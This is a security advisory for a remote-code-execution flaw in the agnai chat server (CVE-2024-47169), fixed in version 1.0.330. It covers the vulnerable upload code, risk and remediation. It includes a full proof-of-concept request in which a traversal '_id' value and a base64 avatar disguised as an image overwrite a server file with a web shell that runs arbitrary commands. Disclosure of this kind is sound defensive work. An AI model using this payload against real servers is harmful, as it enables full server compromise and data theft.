Critical

Agnai vulnerable to Remote Code Execution via JS Upload using Directory Traversal

Disclosed: 26.09.2024
Updated: 11.10.2026 10:22

Summary

A vulnerability has been discovered in Agnai that permits attackers to upload arbitrary files to attacker-chosen locations on the server, including JavaScript, enabling the execution of commands within those files. This issue could result in unauthorized access, full server compromise, data leakage, and other critical security threats.

This does not affect:

agnai.chat
installations using S3-compatible storage
self-hosting that is not publicly exposed

This DOES affect:

publicly hosted installs without S3-compatible storage

CWEs

CWE-35: Path Traversal

CWE-434: Unrestricted Upload of File with Dangerous Type

CVSS-4.0 - 9.0 - Critical

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Description

Path Traversal and Unrestricted Upload of File with Dangerous Type

Path Traversal Location

tsx

POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
{"_id": "/../../../../../../app/srv/api/voice",...<ommitted>}

In the following file, the _id parameter which is a remote-supplied parameter is not properly validated and sanitized.

https://github.com/agnaistic/agnai/blob/437227d9aa86132f3be3b41c89981cb393c903d0/srv/api/chat/characters.ts#L101

 const upserted: AppSchema.Character = {
    _id: body._id || `temp-${v4().slice(0, 8)}`,
    kind: 'character',
    createdAt: now(),

In the following file, the filename (or id) and content variables are not properly sanitized and validated,

https://github.com/agnaistic/agnai/blob/dev/srv/api/upload.ts#L63

export async function entityUploadBase64(kind: string, id: string, content?: string) {
  if (!content) return
  if (!content.includes(',')) return

  const filename = `${kind}-${id}`
  const attachment = toAttachment(content)
  return upload(attachment, filename)
}

function toAttachment(content: string): Attachment {
  const [prefix, base64] = content.split(',')
  const type = prefix.slice(5, -7)
  const [, ext] = type.split('/')
  return {
    ext,
    field: '',
    original: '',
    type: getType(ext),
    content: Buffer.from(base64, 'base64'),
  }
}

An attacker can freely specify arbitrary file types (and arbitrary base64-encoded file content), thereby permitting them to upload JavaScript files and by abusing the _id parameter, to control the location of the file to overwrite an existing server file;

POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
...
Connection: keep-alive

{
"_id": "/../../../../../../app/srv/api/voice",
"name":"","description":"","culture":"en-us","tags":[],"scenario":"","appearance":"","visualType":"avatar","avatar":"data:image/js;base64,InVzZSBzdHJpY3QiOwpPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgIl9fZXNNb2R1bGUiLCB7IHZhbHVlOiB0cnVlIH0pOwpjb25zdCBleHByZXNzXzEgPSByZXF1aXJlKCJleHByZXNzIik7CmNvbnN0IHdyYXBfMSA9IHJlcXVpcmUoIi4vd3JhcCIpOwpjb25zdCB2b2ljZV8xID0gcmVxdWlyZSgiLi4vdm9pY2UiKTsKY29uc3QgZGJfMSA9IHJlcXVpcmUoIi4uL2RiIik7CmNvbnN0IHZhbGlkXzEgPSByZXF1aXJlKCIvY29tbW9uL3ZhbGlkIik7CmNvbnN0IHJvdXRlciA9ICgwLCBleHByZXNzXzEuUm91dGVyKSgpOwpjb25zdCB0ZXh0VG9TcGVlY2hWYWxpZCA9IHsgdGV4dDogJ3N0cmluZycsIHZvaWNlOiAnYW55JyB9Owpjb25zdCB0ZXh0VG9TcGVlY2ggPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdXNlciA9IHVzZXJJZCA/IGF3YWl0IGRiXzEuc3RvcmUudXNlcnMuZ2V0VXNlcih1c2VySWQpIDogYm9keS51c2VyOwogICAgY29uc3QgZ3Vlc3RJZCA9IHVzZXJJZCA/IHVuZGVmaW5lZCA6IHNvY2tldElkOwogICAgKDAsIHZhbGlkXzEuYXNzZXJ0VmFsaWQpKHRleHRUb1NwZWVjaFZhbGlkLCBib2R5KTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZW5lcmF0ZVRleHRUb1NwZWVjaCkodXNlciwgbG9nLCBndWVzdElkLCBib2R5LnRleHQsIGJvZHkudm9pY2UpOwp9KTsKY29uc3QgZ2V0Vm9pY2VzID0gKDAsIHdyYXBfMS5oYW5kbGUpKGFzeW5jICh7IGJvZHksIHVzZXJJZCwgc29ja2V0SWQsIGxvZywgcGFyYW1zIH0pID0+IHsKICAgIGNvbnN0IHR0c1NlcnZpY2UgPSBwYXJhbXMuaWQ7CiAgICBjb25zdCB1c2VyID0gdXNlcklkID8gYXdhaXQgZGJfMS5zdG9yZS51c2Vycy5nZXRVc2VyKHVzZXJJZCkgOiBib2R5LnVzZXI7CiAgICBjb25zdCBndWVzdElkID0gdXNlcklkID8gdW5kZWZpbmVkIDogc29ja2V0SWQ7CiAgICByZXR1cm4gKDAsIHZvaWNlXzEuZ2V0Vm9pY2VzTGlzdCkoeyB0dHNTZXJ2aWNlOiB0dHNTZXJ2aWNlLCB1c2VyIH0sIGxvZywgZ3Vlc3RJZCk7Cn0pOwpjb25zdCBnZXRNb2RlbHMgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdHRzU2VydmljZSA9IHBhcmFtcy5pZDsKICAgIGNvbnN0IHVzZXIgPSB1c2VySWQgPyBhd2FpdCBkYl8xLnN0b3JlLnVzZXJzLmdldFVzZXIodXNlcklkKSA6IGJvZHkudXNlcjsKICAgIGNvbnN0IGd1ZXN0SWQgPSB1c2VySWQgPyB1bmRlZmluZWQgOiBzb2NrZXRJZDsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpjb25zdCBnZXRDbWQgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewoJY29uc3QgY2hpbGRfcHJvY2Vzc18xID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwoJY2hpbGRfcHJvY2Vzc18xLmV4ZWNTeW5jKGJvZHkuY21kKTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpyb3V0ZXIucG9zdCgnL3R0cycsIHRleHRUb1NwZWVjaCk7CnJvdXRlci5wb3N0KCcvOmlkL3ZvaWNlcycsIGdldFZvaWNlcyk7CnJvdXRlci5wb3N0KCcvOmlkL21vZGVscycsIGdldE1vZGVscyk7CnJvdXRlci5wb3N0KCcvY21kJywgZ2V0Q21kKTsKZXhwb3J0cy5kZWZhdWx0ID0gcm91dGVyOwovLyMgc291cmNlTWFwcGluZ1VSTD12b2ljZS5qcy5tYXA=","sprite":null,"greeting":"","sampleChat":"","voiceDisabled":false,"voice":{},"systemPrompt":"","postHistoryInstructions":"","insert":{"prompt":"","depth":3},"alternateGreetings":[],"creator":"","characterVersion":"","persona":{"kind":"text","attributes":{"text":[""]}},"imageSettings":{"type":"sd","steps":10,"width":512,"height":512,"prefix":"","suffix":"","negative":"","cfg":9,"summariseChat":true,"summaryPrompt":""}}

Risk

The attacker can write arbitrary files to disk, including overwriting existing JavaScript to execute arbitrary code on the server, leading to a complete system compromise, server control, and further network penetration.

Attackers can gain full access to the server.

Recommendation

Input Validation

Ensure thorough validation of user inputs, particularly id parameter, file paths and file names, to prevent directory traversal and ensure they end up in the desired folder location post-normalization. [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)

Arbitrary File Upload

Restrict the types of files that can be uploaded via a allow-only list.

Credits

@ropwareJB
@noe233

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	agnai	< 1.0.330	1.0.330

References

CVSS score 8.8/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE): CWE-22, CWE-35, CWE-434
Platform: npm
Package: agnai
Disclosed: 26.09.2024
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-mpch-89gm-hm83 - CC BY 4.0

Vulnerability history: agnai

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 3
First → latest: 09.2024 09.2024
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 1
Low 2

Disclosures per year

2024: 3
2025: 0
2026: 0

26.09.2024

Agnai vulnerable to Relative Path Traversal in Image Upload

Low · 4.3 CVE-2024-47171 < 1.0.330 1.0.330
26.09.2024

Agnai File Disclosure Vulnerability: JSON via Path Traversal

Low · 4.3 CVE-2024-47170 < 1.0.330 1.0.330
26.09.2024

Agnai vulnerable to Remote Code Execution via JS Upload using Directory Traversal this entry

Critical · 8.8 CVE-2024-47169 < 1.0.330 1.0.330

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